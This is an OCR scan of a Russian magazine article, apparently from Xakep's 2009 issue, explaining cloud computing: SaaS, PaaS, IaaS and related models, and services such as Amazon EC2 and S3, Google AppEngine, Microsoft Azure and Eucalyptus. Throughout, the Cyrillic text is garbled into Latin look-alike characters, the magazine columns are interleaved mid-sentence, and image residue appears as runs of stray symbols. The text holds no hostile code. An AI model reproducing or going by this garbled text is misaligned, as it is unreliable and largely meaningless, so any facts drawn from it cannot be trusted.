none3eH BceM nlO61'1Ten5lM Skype-06­

l.\BeTHbIM >KK-At-lCnneeM, rAe oT06pa­

lJ.(eHt-l5l. Y4t-lTbISa5l HeBblCOKYIO l.\eHY t-l

)l(aeTC5l TeKylJ.(1'1j;i CTaTyc nOAKnI04eHt-l5l,

AOBonbHO CTVlnbHblj;i BHewH1'1j;i Bt-lA - ero

BpeM5l, ypoBeHb WiFi-cv.rHana t-l3ap5lAKt-l

CMeno MO)l(HO paCCMaTpt-lBaTb B KayeCTBe

Bo061J.(e, no cBoeMy BHewHeMy Bt-lAY ASUS

HenJlOXOro nOAapKa.

~

020

XAKEP 05/125/ 09


_m :LU,

!'aiiiJllJ~u'

II ." ••1111

I V1rpbI MeHSIIQTCSI, gamelandIu OCTaeTCSI!


Ha CaMOM AeJle, 06JlaYHai1 06pa60TKa AaHHblX

cepBepOB, a 3ayaClYIO - el11e 1'1 B pa3HbiX AaTa­

Mbli;; npoToKon REST, C nOMOl11blO KOToporo Bce

!aHrn. Cloud computing) - 3TO TeXHonOrJ.'1i1

l..\eHTpax. Tpemi1 MOMeHT: Cloud Computing

Onepal..\HJ-l HaA AaHHblMH MO>KHO np0J-l3BOAJ-lTb

06pa60TKH AaHHbIX, B KOTOpoi;; nporpaMMHoe

- 3TO YCJlyra. B 60-e roAbl 3a MaWHHHoe BpeM~

Yepe3 http-3anpocbl. BnpOYeM, npJ-lMeHi1TbC~

06eCneYeHHe npeAOCTaBJli1eTC~ nonb30BaTemo

npHxOAHJlOCb nnaTHTb 1'1 >KAaTb cB060AHOro Yaca.

MOryr 1'1 MHorHe APyrHe peWeHJ-li1,

KaK HHTepHeT-CepBHc. nonb30BaTenb J-lMeeT

B Cloud Computing HCnOJlb3yeTc~ cxo>KHi;; nOA­

AOClYnHbl rOTOBble 6H6nHoTeKH Ani1 pa3Hbix i13bl­

60nee TOro,

AOClYn K c06CTBeHHbiM AaHHbIM, HO He MO>KeT

XOA. VI nYCTb CTOi1Tb B OyepeAJ-l He Hy>KHO, - Bce

KOB

ynpaBn~Tb

yCJlyrH TaK>Ke OnJlaYHBaIOTCi1 OTAeJlbHO. 06naKO

Tenepb npoCTow Bonpoc - 3ayeM 3TO Bce Hy>KHO?

Onepal..\HOHHoi1 CHCTeMoi;; J-l c06­

nporpaMMHpoBaHH~.

CTBeHHO no, C KOTOpblM pa60TaeT ba60THTbC~

Alli1 nonb30BaTeJli1 -

06 HHeppaCTpyKlYpe eMy TaK>Ke He Hy>KHOI.

ycnyr, KOTOpble nOTpe6ni110TC~ 1'1 OnJlaYHBaIOTC~,

nOJlyyaeWb AOClYn K IlaAeJKHei1wei;; HHeppaCTpyK­

HenocpeAcTBeHHo «06JlaKoM» Ha3blBalOT HHeT,

nopoi1 6e3 MaJlei1wero npeACTaBneHH~, YTO >Ke

lYpe C He06xoAHMOW Te6e npoH3BOAHTeJlbHOCTbI0.

KOTOpbli1 KaK pa3 1'1 cKpblBaeT MHorHe TeXHHye­

TaM

Uptime KOMMepYeCKHX CHCTeM, KaK npaBHno,

CKHe AeTanH. 3TO ecnJ-l BKpaTl..\e. Tenepb AaBai;;

B03bMeM caMbli;; npoCToi1 npHMep - xoCTHHr

rapaHTJ-lpyeTc~

nocMoTpHM Ha Bce YYTb rny6>Ke.

All~

[99.9% 1'1 Bblwel. YTO 03HayaeT He 60nbwe napbl

J-lCnOnb3yeTC~

5 16 AaHHblX

3TO HeKOTOpbli;; Ha60p

BHYTpH.

1'1 AOClYn K HJ-lM Yepe3 HTTP

REST API. nOKyna~ TaKylO ycnyry, HHKTO He 3aAY­

~

HA 4EM

B~n1T

06JlAKO?

B OCHOBe Cloud Computing ne>KaT HeCKonbKO

OTBeyalO, 3a He60nbwHe, B 06111eM-TO, AeHbrH Tbl

Ha ypoBHe Tpex-nmH AeBi1TOK

MHHYT THpe yaca npoCTO~ B roA, He HyJKHO 6blTb

n6y, YT06bl 3aAei;;CTBoBaTb TaKylO

TYT Hcnonb3YIOTCi1 npocTble 1'1 xopowo

MbIBaeTCi1, rAe epH3HyeCKH XpaHmCi1 AaHHble,

ceMH n~Aei;; BO

KaKHe HaKOnHTeJlHH RAID Hcnonb3YIOTc~ 1'1 T.A.

cHcTeMy -

onHcaHHble npOTOKonbl 1'1 API. VI YTO el11e Ba>KHO

nOAXOAOB. nepBbli;; - AoclYnHocTb Yepe3 HHTep­

InaBHoe, YTO eCTb Hy>KHbli1 06beM AaHHbIX, KOTO­

HeT, KOHeYHO, 6blBalOT 1'1 3aKpblTbie CHCTeMbl, HO,

pbli;; AOClYneH BcerAa npH nOMOl11J-l YA06Horo

- npaKTHYeCKH HeOrpaHJ-lyeHHble B03MO>KHOCTH

KaK npa.BHJlO, Bce MO>KHO nOTporaTb Yepe3 ceTH

HHTepepei;;ca

no MacwTa6HpyeMOCTJ-l1 npH06peTai1 06blYHblW

InpH 3TOM, «Hapy>Ky» 06JlaKO npeAocTaBmleT ce6~

YeTBepTbli1 MOMeHT - KaK HH CTpaHHo, npoCToTa

XOCTJ-lHr, Tbl He CMO>KeWb npblrHYTb Bblwe ronOBbl

KaK 06b1YHbli1 cepBepl. BTOpoi;; Ba>KHbli;; MOMeHT

1'1 CTaHAapTHOCTb. ,[\a-Aa, XOT~ 06naYHOCTb 1'1 CTOHT

J-l npH pe3KOM BcnJleCKe HarpY3KH pHcKyewb

- 3TO BHplYaJlH3aI..\H~. 5JlaroAap~ BHplYaJlH3a­

Ha nepeAHeM Kpae KOMnblOTepHblx TeXHOJlOrHi1,

nOJlYYJ-lTb ynaBwHi1 Ha HeCKOJlbKO yaCOB CepBHc.

1..\1'1 J-l , nOJlb30BaTeJlJ-l nOJlyyalOT CTOJlbKO pecypcoB,

3TO OAHO 1'13 Ba>KHei;;wHX ee CBoi;;CTB. 3AeCb

B 06naKe AononHIHenbHble pecypCbl npeAOCTaB­

CKOJlbKO J-lM HaAO 11'1, pa3YMeeTC~, CKonbKO MOryr

HHKaKHX Te6e HOBblX ~3bIKOB, CJlO>KHbIX KOHepH­

n~IOTC~

n03BonHTb ce6e npH06pecTHl. YTO All~ 3TOro

rypal..\HOHHblX epai;;JlOB J-l MHoroyaCOBblX ceccJ-li;;

B3nOMa naponei;; nOTpe6yeT BAPyr All~ paCyeTa

Tpe6yeTC~ co CTOpOHbl cepBepa 1'1 KaKHM 06pa­

B TepMHHane Ani1 HaCTpoi;;KH Bcex AeMOHOB.

el11e napy npOl..\eCCOPOB 1'1 rHra6ai;;T naM~TH [nOA­

30M OH MO>KeT BblAenHTb TaKHe pecypCbl - Bce

Bce, YTO npeAllaraeTC~ BHYTPH 06JlaKa, AOClYnHO

pyJKKa TOJKe YHTaJla Haw >KypHaJl 1'1 3aKpblna CBOH

COKpblTO 3a CTeHaMH BJ-lplYaJlbHblX MaWHH;

yepe3 caMble npOCTble Bbl30Bbi APIH npOTOKOnbl.

epOTKJ-l naponeMI. TO 3TO He CTaHeT np06neMoi;;.

OHH MOryr pa60TaTb Ha COTH~X 1'1 Aa>Ke TblC~yaX

OrpoMHylO nonympHocTb 3aBoeBan TaK Ha3blBae­

VI BeAb CMaK B TOM, YTO TaKJ-le pecypcbl He HaAO

no nepBoMy 3anpocy. VI ecnJ-l TBoi;; CKpJ-lnT

XAKEP 05 /125/ 09


•­ , . '

HeM, yeM clloi1 B'1pryallV13al.\V1'1 IHa'16ollee yaCTO u

,.......:--."""'_......,-....

Q-_-':'~­

......... "~'*""""---~~.

x

..... ?,,~

••• "

'tI.IfI

~~

1<.1.00<1

• ••• ll'Ii'''Irjl'!''

.. -....;._ ... _­

'1cnollb3yeTc51 Xen '1J1'1 VMware], HO gallbwe

*' .. ......_ .. -,_ .. _ _._--........._.

."11 • • :' "!Ill 'i'? ll'? ¥ ."'¥.~."!' ~ • •_. "' ••.~ :,,.., ••. !.!.':-l!''!.•••• V __

~

1lo.1 _ _

"...;"J.,._"'.............

.. -'-"_-...."-­

~''-.

MOlKeWb gellaTb Bce, YTO 3aX04eTCR Pacw'1peH'1e pecypcoB TaKlKe MO>KeT pa3H'1Tbc51 - caMbli1 npocToi1 Bap'1aHT, KorAa Te651 He OrpaH'1Y'1BalOT

; ; _... ~.,.,1CI ........._.

ENOMALY- OTKPblTMI C~CTEMA Al1~ nOCTPOEH~~ 0611AKA HA 5A3E 11106blX B~PTYAl1bHbIX

B KOn'1yeCTBe TaK'1X B'1pryallbHblX cepBepOB,

MAW~H

rAe Tbl Bbl6'1paewb V13 nmV1 pa31l~YHb1X T'1nOB

ogHaKo '1X napaMeTpbl Bb16'1pa1OTC51 '13 HeCKOllb­ K'1X T'1nOBblX nllaHOB. np'1Mep - Amazon EC2, V1HCTaHCOB. TaK J1erye AJl51 npoBa~gepa, oAHa-

nOKYnaTb Cpa3y, onllaY'1Ba51 g'1K'1e CyeTa ­ <jlYHKl.\'10HallbHOCTb MOlKHO gopacT'1Tb B llIo6oi1 MOMeHT. VlMeHHO n03ToMY Cloud Computing ­ 3TO HaCT051Ul.\a51 HaxogKa gll51 CTapTanOB, X0351e8a

GOOGLEAPPENGINE - OAHA ~311YYW~X ~ npOCTEVlW~X nJ1ATet>OPM-nECOYH~~Al1~

PYTHON/JAVA np~110>KEH~V1

KOTOpblX 3apaHee He MOryT npegyragaTb: BblCTpe­

mn '1X npoeKT V1Il'1 HeT.

Ha Ilery. «CaMbli1 06Ila4Hbli1» Bap'1aHT nog­ pa3yMeBaeT Hall'14'1e cBoe06pa3Horo nOll3yHKa [Bpoge peryJ1mopa rpOMKocm], C nOMOUl.\blO

C51, YTO B KayeCTBe cepB'1COB npegocTaBIl51IOTC51

KOTOporo MOlKHO MeHmb KOll'1yeCTBO BblgeneHHblX

YCllym CB513'1; 06bl4HO 3TO IP-Telle<jloH'151, nOYTa

TBOeMy cepBepy pecypCOB. nOHago6'1J10Cb 12 16

~

V1

Bap'1aHTbl npegoCTa8IleHV151 BbIY'1CIlV1TellbHbIX

~

SAAS, PAAS... 4YP, HE PyrATbCSl!

KO, He AJl51 Te651,- eCIlV1 npV11l0lKeHV1e He yMeeT MaCWTa6V1pOBaTbC51 '1 Ao6aBnmb HOBbie cepBepa

MrH08eHHbie KOMMYHV1Kal.\V1V1 14aTbl, 1M].

onepaT'1BK'1 - nepegB'1Hyll nOll3yHoK, '1 4epe3 HeCKOJ1bKO ceKyHAbl pecypcbl cepBepa CTall'1

KAKOrO '-'BETA 05J1AKA?

60llbwe.

MOUl.\HOcTei1 CV1llbHO OTIlV1yaIOTCR Bce, YTO KacaeT­

He Bce TaK npocTo B 061laYHOM KopolleBCTBe,

C51 Cloud Computing, 06blYHO npV1Hmo Ha3bl8aTb

'1

cei1Yac Ha pblHKe cYUl.\eCTByeT MHOlKeCTBO

Mosso.com], npegocTaBIl5110Ul.\'1e KaK 06naYHbie

CIlOBOM aaS [aaS - gBe 6YKBbi A, He TO, YTO Tbl nogYMall l ]. Pacw'1<jlpoBbIBaeTC51 npoCTO - «as

peweH'1i1, Ha3bIBaIOUl.\'1X ce651 «KJ1aYAaMV1».

cepBepa, TaK '1 Apyr'1e cepB'1Cbl, Bpoge <jla~llo­

PaccMoTpV1M TV1nbl apxV1TeKryp, YT06bl ner4e 6blil0

Boro XpaH'1Il'1Ul.\a '11l'1 06bIYHOrO, HO BblcoKoHag­

a Service», TO eCTb «KaK cep8V1C», V1Il'1 «8 8V1Ae

nOHmb, YTO 3TO TaKoe.

e>KHOro XOCTV1Hra. TaKlKe OTMeyy Apatana Cloud,

nOgXog K 061laYHbiM C'1CTeMaM pa3n'1yaeTC51

OT pa3pa6oTY'1KOB OgHOi1 '131lYYW'1X IDE, Stax.

CTeneHblO KOHTpOIl51 Hag HV13K'1M ypoBHeM, KOTO­

net - 3TO eCIl'1 Te6e Hago TonbKO MacwTa6'1pye­

cepBV1ca».

SaaS (Software-aaS],

V1Il'1

np'11l0lKeHV151 88'1ge

Ha pblHKe pa60TalOT KOMnaH'1'1 IK np'1Mepy,

cepBV1COB - BapV1aHT, npV1 KOTOpOM Te6e npeA­

Pbl~ npegocTaBIl51eTC51 KJ1'1eHry. To eCTb, eCJ1'1

Mbl~ XOCT'1Hr Java-np'1nO>KeH'151, '1J1'1 Engine Yard,

llaralOT V1cnOllb30BaTb KaKoe-TO KOHKpeTHoe no,

3a caMbli1 HV13KV1i1!HYJleBoi1] BapV1aHT Mbl npV1MeM

eCIl'1 1l106'1Wb no6anoBaTbc51 Ruby. Pa3pa60T4'1K'1 TaK Ha3blBaeMbiX web-OS 'laCTO

HanpV1Mep, KOpnopaTV1BHble C'1CTeMbl, B BV1ge

IlV1YHbl~ cepBep Ha nilOUl.\aAKe y npoBai1Aepa,

cepBV1ca no nOAn'1CKe. CKalKeM, y npegnpV151T'151

rge Tbl MOlKeWb XOTb CTpa3bl Ha 1lV1l.\eBYIO naHeJ1b

n03'1l.\V10H'1PYIOT ce651 KaK 06naKa, XOT51 OH'1

HeT B03MOlKHOCTV1 V11lV1 lKellaH'151 XOCTV1Tb BHY­

npV1l.\enV1Tb, TO AaJ1bWe Bce YlKe He TaK.

IlV1Wb npegocTaBJ151IOT HeKOTOpble np'11l0lKeH'151

TpeHHI1i1 Exchange-cepBep AIl51 pa60Tbi nOYTbl,

VDSNPS - 3TO YlKe He npOCTO XOCTV1Hr,

[SaaS-Mogellb] - nycTb '1 He 06bIYHbli1, CKalKeM,

KalleHgapei1 V1 T. n.- V1 OHO MOlKeT KynV1Tb ero

HO eUl.\e H'1KaK He Cloud. KOHe4Ho, y TV1nV14Horo

TeKCTOBbl~ peAaKTOp, a l.\elloe ceMe~CTBO npV1­

ygalleHHo, C yyeTOM Bcei1 He06xogV1Moi1 Cnel.\V1­

VDS [Virtual Dedicated server) eCTb 60IlbWV1HCTBO

1l0lKeH'1i1, 06beg'1HeHHbiX B 06Ul.\'1~, CXO>KV1i1

<jlV1KV1. '-1acTo 1lV1 TaK'1e cepBV1Cbl AocrynHbl npOCTO

aTp'16yroB o6naKa: Te6e AalOT BV1pryallV13'1po­

C HaCTOllbHblM'1 DC '1HTep¢e~c. TaKoi1 B'1pry­

B 6pay3epe? A Tbl nOllb3yewbc51 Google Docs? 3TO

BaHHylO cpegy, rge MOlKHO pa3BOpaYV1BaTb CBOV1

anbHbli1 geCKTon gocryneH Bcerga V1 Be3ge, 6blll

np'1nolKeH'151 V1n'1 AalKe OC, 06beM pecypcoB

6bl 6paY3epi 06bIYHO, Be60C pa60TalOT Ha 6a3e

'1

eCTb SaaS, TOllbKO 6ecnllaTHbli1.

PaaS [Platform-aaSI - B OTIlV1YV1e OT SaaS, npeA­

TaKlKe OrpaHV1Y'1BaeTC51 TOllbKO TBOV1M KOwellbKOM.

AJAX-TexHollor'1i1 '1n'1 Flash. Cpeg'1 '1HTepeCHblX

Ha3HayeHHoro 60JlbWe AJl51 KOHeYHoro nOllb30Ba­

Ho Ha 3TOM cxogcTBa V1 3aKaHYV1BaIOTC51 - pecyp­

C'1CTeM OTMeyy Cloudo [www.cloudo.com]. eyeOS

Tell51, 3TO Bap'1aHT gll51 pa3pa6oTYV1KOB. B 06naKe

Cbl OrpaHV1yeHbl B03MOlKHOCT51MV1 lKeJ1e3Horo

leyeos.org, TaK>Ke AocrynHa KaK OpenSource]

<jlYHKl.\110HV1pyeT HeKoTOpbli1 Ha60p nporpaMM,

cepBepa, Ha KOTOpOM Bce Kpyr'1TC51. nJ1aTV1Wb Tbl

'1

OCHOBHblX cepBV1COB V1 61161l'10TeK, Ha OCHOBe

TO>Ke nOMeC51YHO, a eCJ1'1 Bgpyr Ka>KgylO nmH'1l.\y

Jooce liooce.com].

~

npOrPAMMbl BEPXOM HA 05J1AKE

KOTOpblX npegllaraeTC51 pa3pa6aTbiBaTb CBOV1 np'1­

BeYepOM Te6e Hago 6blCTpO paCWV1pV1Tb cepBep

1l0lKeHV151. CaMbli1 51PKV1i1 npV1Mep - nJlaT<jlopMa

AJ151 npV1eMa TOnnbl noceT'1Telle~, 3TO H'1KOro

AJl51 c03gaH'151 npV11l0lKeHI1i1 Google AppEngine.

He Bon HyeT.

06J1aKa TpeTbero TV1na o61lagalOT MaKc'1MallbHo~

nOM'1MO 3TOro, nog PaaS nOHV1MaIOT TaKlKe

nepBblM ypoBHeM AJl51 HaCT051Ul.\erO Cloud-a 6ygeT

r'16KoCTbIO '1 pacwV1p51eMoCTblO, HO 3TO 060paY'1­

npegoCTaBlleHV1e BV1pryaJ1'13V1pOBaHHo~ cpeAbl

BaeTC51 npegoCTaBlleH'1eM He npoCTO B'1pryallb­

V1

oTgellbHble yaCTV1 cnOlKHblX C'1CTeM, Bpoge

CV1CTeMbl 6a3bl gaHHblx '11l'1 KOMMYHV1Kal.\'1~.

Ha 6a3e HeKOTOpblx cTaHgapTHblx «IOHV1TOB», KOTO­

HO~ MaW'1Hbl '11l11 HeKOTopblX pecypCOB, HO l.\enblX

HaaS IHardware-aaSI - Og'1H '13 nepBblX TepMV1­

pble no pecypcaM MOryT paBHmbc51 Ha onpege­

6'161l'10TeK 11 API. Te6e galOT 803MOlKHOCTb

HOB, 03HayalOUl.\V1X npegoCTaBlleH'1e HeKOTopblX

J1eHHble peanbHble >KeJ1e3Hble cepBepa lcyry60

3anycKaTb C06CTBeHHbie npV1nO>KeH'151, 4aCTO

6a30BbiX «lKelle3HbIX» <jlYHKl.\V1~ V1 pecypCOB B BV1ge

gn51

cepBV1COB. Ho BMeCTO np51Moi1 apeHgbl XOCTV1Hra

Te6e BblgaeTc51 BV1pryaJ1bHa51 MaWV1Ha, KOTopa51

HV1TellbHbiX 6'161lV10TeK. 3aTo TaKoe np'1J10>KeHV1e

'1cnonb3yeTc51 BV1pryan'13al.\V151. n03TOMY, KOrAa

pa60TaeT Ha C'1CTeMax npoBai1gepa, a BHyrpV1 Hee

CMO>KeT peaJ11130BaTb «3aBeTHylO Meyry 8cex

J1erKOCTV1 cpaBHeHV151 V1 Y4eTa]. <DaKm4ecKV1,

cepbe3HO OrpaH'1Y'18a51 B Bbl60pe 513blKa '1 AonOIl­

peYb '1AeT 0 KOHKpeTHOM lKelle3e, nOHV1MaIOTC51

eCTb Bce B03MO>KHOCTI1 AJl51 yCTaHoBKV1 CHa4alla

061laK08» '1 r'16Ko nOllyyaTb pecypcbl no 3anpo­

HeKOTopble a6CTpaKTHbie CYUl.\HOCTV1, aHallorV14Hble

Jl1060i1 OC ['13 nOMep>K'1BaeMbIX, KOHeYHO],

cy. OrpaH'1yeH'1i1 B'1pryallbHo~ MaWI1Hbl Tbl

peallbHblM lKelle3HbiM [MeCTO nog xpaHeHV1e, npo­

a nOTOM YlKe HaCTpO~KV1 He06xoAV1MOro no.

He B'1g'1Wb; 60llee TOro, He nog03peBaewb 06 ee

l.\eCCOpHoe BpeM51 B 3KBl1BalleHTe KaKOro-IlV16o

OrpaHV1yeH'151 TaKO~ MaWV1Hbl, KaK y>Ke CKa3a­

cYUl.\eCT80BaH'1I1: Bce, C yeM pa60TaeT nporpaMMa

peallbHoro CPU, nponYCKHa51 cnoc06HOCTb].

HO, Bblpa>KaIOTC51 B HeKOTopblX np'16nV1lKeH'151X

- 3TO Bbl30Bbi API '1 6V161lV10TeK, npeAOCTaBJ1eH­

laaS IInfrastructure-aaS] - CY'1TaeTC51, YTO Tep­

K peallbHoMy lKelle3Y, HO, B OTJ1V1Y'1e OT VDS,

HblX cep8V1coM. Ka3anocb 6bl, pa3Be MO>KHO YTO­

MV1H npV1well Ha cMeHy HaaS, nogH51B ero

MOryT 6blTb rV16Ko V1 nOYTV1 MrHOBeHHO V13MeHeHbl

TO CAellaTb B TaKV1X YCIlOBV151X? EUl.\e KaKI Bo06Ul.\e,

Ha HOBbli1 ypoBeHb. )J,n51 npV1Mepa - 3TO CV1CTeMbl

B 60llbWylO '11lV1 MeHbwylO CTOPOHY. TaKlKe pa3­

TaKa51 CTeneHb a6CTpaKl.\V1V1 cei1Yac MOgHbli1 TpeHA

peweHo Ha 0AV1H aKKayHT nogH'1MaTb HeCKOJ1bKO

B IT. CYUl.\eCTByeT 3a8V1CV1MOCTb: 4eM np0Ul.\e 513b1K

BV1pryallV13al.\'1'1, 6allaHC'1pOBUl.\'1KV1 HarpY3K'1 TOMy nog06Hbie C'1CTeMbl, llelKaUl.\V1e B OCHOBe

TaKI1X BV1pryallbHblx cepBepoB; COOTBeTCTBeHHO,

V1

nOCTpoeH'151 gpyrV1x C'1CTeM.

MO>KHO C03AaTb Me>KAY HV1M'1 CBOIO ceTb. Tbl

TeM ner'le V1 rV16ye '1X MacwTa6V1poBaTb. n03TOMY

CaaS ICommunication-aaS) - nOApa3yMeBaeT­

no-npelKHeMY He 3HaeWb, YTO TaM H'1>Ke ypOB-

Kpai1He CIlOlKHO BCTpeT'1Tb B 06naYHbiX C'1CTeMax

V1

XAKEP 05 /125/09

API, B paMKax KOTOPblX pa60TalOT nporpaMMbl,

~

023


abiauo

iii.

":J'~~,

~

(1)

~_

IIbWm .. · · _

.:;}

./

~--,-

r~ ._._" .:;}

,."",-,,_KJ_"~""""""""_.

_

..... _ f n ....-.

__'

j7;.-;-_=.:.; Li!

,/--­

..

__

..

... ,.u-.

...,4'

~

info

• ECilVl XOyeWb pa3­

.!.! <:>

npVlilo>t<eHVI~

Vl3HaeWb Java, non po­ 6yrii GridGain Iwww. gridgain.coml. 3TO 0AVlH Vl3 MOLl.\HeriiwVlx

E~E OAHA OTKPblTMI C~CTEMA ynPABJ1E­ H~s:! 0611A4HbIM~ C~CTEMAM~. XOTb HA P~CYHKE BCE npOCTO, 3A 3T~M CKPbIBA­

­

KJ1ACC~KA! J1Y4W~1II ~ HA~60J1EE ~3­

BECTHbllll 0611A4Hb11ll XOCT~Hr AJ1s:! B~P­ TYAJ1bHbIX MAW~H, ATAK>KE MHO>KECTBO AOnOI1H~TEl1bHWXCEPB~COB

IOTCs:! CI10>KHElIIW~E TEXH0I10r~~

6ecnnaTHO gn~ cariiToB, VlMetOLl.\VlX AO 5 MVlilnVlOHOS XViTOB

VlHcTpyMeHTos AilH C03AaHVI~

,._

-~

13l:::::.)

pa6aT~BaTbcepbe3­

Hble

i: 'v .. £,O'.'.n _

B MeC~l.\; 60nee TOYHbie orpaHVl4eHVI~ CMOTpVl B AOKYMeHTa­

npVlilo>t<e­

HV1rii,V1AeailbHopa60­

npVlSblYHble Ail~ Be6-pa3pa60TYVlKOS pecypcbl, no KpariiHerii

l.\VlVlI. CepBVlc pa60TaeT KaK 6eTa, n03ToMY TOilbKO HeAaSHO

TatOLl.\VlX S 06ilaKax.

Mepe, B CTaHAapTHOM BVlAe. B3mb XOTH 6bl 6a3bl AaHHbIX.

CTailO B03MO)l(HbiM

TpagVll.\VloHHble SQL-pen~l.\VlOHHble CY5,Q KpariiHe nnoxo nOA­

L(eHbl Ha cepBVlc gilH KOMMep4ecKoro VlcnOilb30saHVlfl VlnVl Tex,

• CaMble nonynHpHble nporpaMMV1po­

~3bIKVI

3aperVlCTpVlposaTbC~

sceM >t<eilatOLl.\VlM.

XOA~T AilH MacwTa6V1pyeMblx CVlCTeM 13a peAKI-lM VlCKiltOyeHVleM,

KOMy Mano ilVlMVlTOS, pa3YMHbi VI cpaSHVlMbl C KOHKypeHTaMVI

BpOAe Oracle VlnVl DB21. BMeCTO HViX Vlcnoilb3ytOTC~ c06CTBeH­

IKaK 06bl4HO - onilaTa 4acos VlnVl HeKOTopblX a6CTpaKHlbiX

saHV1~ B06ilaYHbiX CVI­

Hble pa3pa60TKI-l, Ka~a~ Vl3 KOTOpblX 06blYHO OyeHb VlHTe­

egVlHVll.\ pecypcosi. KaK HVI CTpaHHO, TaKorii >t<e cepsVlc Bblny­

CTeMax: Java, Python,

pecHa BTeXHVlyeCKOM nnaHe, a TaK>Ke - CTopOHHVle OTKpblTble

cTVlna gpyra~ «VlMnepVl~ 3ila» - Microsoft Azure. B OCHOBe

JavaScript, Ruby, C# VI,

peweHVI~. OAHVlM Vl3 caMblX nonYil~pHblX peweHVlrii CTailVi

ne)l(VlT CneljVlailbHaH BepcVI~ Windows Server 2008; oCTailb­

CHeKoTopblMVI orpaHVI­

key-value xpaHVlilVlLl.\a gaHHblx VI CVlCTeMbl Ha 6a3e Google

Hble cepsVlcbl, gocrynHble pa3pa60T4V1Ky, 6a3V1pYIOTCH Ha y>t<e

YeHVlHMVI- nOYTVI sce

BigTable, a TaK)I(e era OTKpblTblX aHailorOB. 3TO OyeHb noxo)l(e

3apeKoMeHAosaBwVlx ce6~ TexHonorVl~x - .NET Runtime, SQL

H3bIKVI, KOTopble MOryT

Ha 06blYHbirii Kew - ilt06ble gaHHble npVlilO)l(eHVle 3anVlCblBaeT

Service, Live, SharePoinl, Dynamics CRM. npVlilO)l(eHVI~ VlMelOT

pa60TaTb nosepx JVM.

B xpaHVlnVlLl.\e, accol.\VlVlPY~ VlX CHeKoTopblM KiltOYOM, l.\VI¢PO­

Aocryn KO sceM cepSVlcaM nocpeACTSOM a6cTparVipOBaHHoro

BblM VlilVi npocTorii CTpOKOrii, nOTOM Vl3BneKaeT VlnVl YAameT,

OT geTailerii API, Yepe3 HTTP, REST, SOAP. Cyg~ no BKil104eHVlIO

YKa3blBaH KiltOY. 50nee npoABVlHYTbie CVlCTeMbl peailVl3ytOT

B cloud TVlnVl4HbiX 6V13Hec-nnaT¢opM, CVlCTeMa 6ygeT B OCHOS­

l.\enble CTPYKTYpbl AaHHbIX, cnVlCKVI, OyepeAVI VI Aa)l(e AonycKatOT

HOM opVleHTVlpOBaHa Ha nOCTpoeHVle KopnopaTVlBHblX npVlilO­

npVl6nVl>t<eHHble K SQL Bbl60PKVI CCOPTVlPOBKOrii VI ¢VlnbTpaMVI.

)I(eHVlrii V1 cepBVlCOB. nOKa VlgeT TeCTVlpOBaHVle, MO)l(HO nonYYVlTb

3aYacrytO AOCTaeTC~ VI ¢ariinosorii CVlCTeMe, KOTOpa~ 3aMeH~eT­

COBepweHHO 6ecnilaTHbirii gocryn KO sceM MaTepV1anaM.

C~

Amazon - OgVlH Vl3 caMblX 60ilbWVlX VI MacwTa6Hbix VlrpoKOs

nOA06V1eM npVlBbl4Horo xpaHVlnVlLl.\a, AononHeHHoro CVlCTe­

MOrii map/reduce Am 06pa60TKVI 60nbwVlx 06beMos AaHHblx. ~

links

KpaTKVlrii 0630P 25 pa3­

Ha pblHKe 06naYHbiX CVlCTeM. Ero cepsVlcaMVI nOilb3YIOTC~

nOA06Hbie oc06eHHocTVI Tpe6ytOT nepecMoTpa apXVlTeKTypbl

MHO)l(eCTSO KOMnaHVlrii, nOYTVI Bce - cTapTanbl, HanpVlMep,

CYLl.\eCTBYtOLl.\VlX npVlnO)l(eHVlrii, KorAa Tpe6yeTc~ pa3BepHYTb

HawyMeBwVlrii Twitter pewVlil np06neMy MacwTa6V1posaHVI~

ilVlYHblX se6-0C:

VlX B ycnoBVI~x o6naKa. HenpoCTo neperiiTVI OT 06blYHbiX 6a3

VlMeHHO npVl nOMOLl.\VI Amazon EC2. PacwVI¢posblsaeTcH,

http:Uhabrahabr.IJdL

AaHHblx, oc06eHHo ecnVl paHbwe TonbKO VI Aenan, YTO nVican

KaK Elastic Compute Cloud, VI cerogHfl 3TO caMblrii gocrynHblrii

b..[Qgsjos/l0952

Ha PHP VI MySQlI

VI HaAe>KHblrii sapVlaHT Ha pblHKe. OgHaKo Y4TVI, YTO npVlgeTC~

nnaTVlTb 3a Bce pecypcbl [nepegasaeMble gaHHble, npol.\eCCop­

E)

~

AMAZON

~

GOOGLE

Hoe speM~, xpaHeHVle gaHHblxl, a S03MO)l(HOCTVI paCWV1peHVI~

C pa3BVlTVleM TeXHonorVirii nO~BVlnaCb B03MO)l(HOCTb YKPbITbC~

Ka~oro KOHKpeTHOrO cepBepa sce >t<e OrpaHVlyeHbl. TaK>Ke

3a CiloeM sVipryanVl3al.\VIVI VI npOMe~OYHbIX 6V16ilViOTeK, TaK

B peanbHorii pa60Te Hago Y4V1TblsaTb Maccy HtOaHcoB, HanpVl­

4TO nporpaMMVlcry peailbHblX npVlilO)l(eHVlrii coBceM He Hago 3HaTb 0 TOM, KaKorii >t<e TaM cepsep nOA 3TVlM

KPYTVlTC~.

Mep, 4TO npVl SbiKilt04eHVlVI BVlpryailbHa~ MaWVlHa IVlHcTaHcI

He coxpaH~eT gaHHble Vl TepHeT csorii IP-agpec.

nOAyMarii, Begb Bce OCHOBHble mblKVI cospeMeHHocTVI gaBHo

Bce 06na4Hbie ycnyrVl OT Amazon npegocTaBilfllOTc~

3arpY3V1Tb

~e VlcnOilH~tOTC~

nog 06Ll.\VlM 6peHgoM Web Services Vl BKiltOyalOT, KpoMe EC2:

EUCALYPTUS MO>t<HO

Pa3pa60T4V1KVI oTopsanVicb OT >t<ene3a VI B03BpaLl.\aTbC~ K HeMy

• SimpleDB - cepsVlc 6a3bl gaHHblx C npoCTblM VlHTep¢eriicoM

CcariiTa eucal~

He 04eHb-To VI XOTHT. EcnVl VlH¢pacTpYKrypa 06naKa xopowo

VI SQL-nog06HbIMVI B03MO>KHOCT~MVl;

cs.ucsb.edu VlilVl)l(e

cnpoeKTVlposaHa, a ~3b1K Bbl6paH npasVlilbHO, TO AOCTaT04HO

• Simple Storage Service VlIlVl S3 Ail~ xpaHeHVI~ 60llbWVlX

npoCTO CAenaTb TaK, YT06bl 60ilbWVlHCTSO nporpaMM !3aMeTb:

06beMoB gaHHblx VI REST-API Ail~ gocryna;

S3~Tb

CHawero AVicKa.

Ha C06CTBeHHbiX BVipryanbHblx MawVlHaxl

TaM)I(e Tbl HariiA'ewb

He sce] CMOrilVi pa60TaTb VI MaCWTa6V1pOSaTbGl npaKTVI­

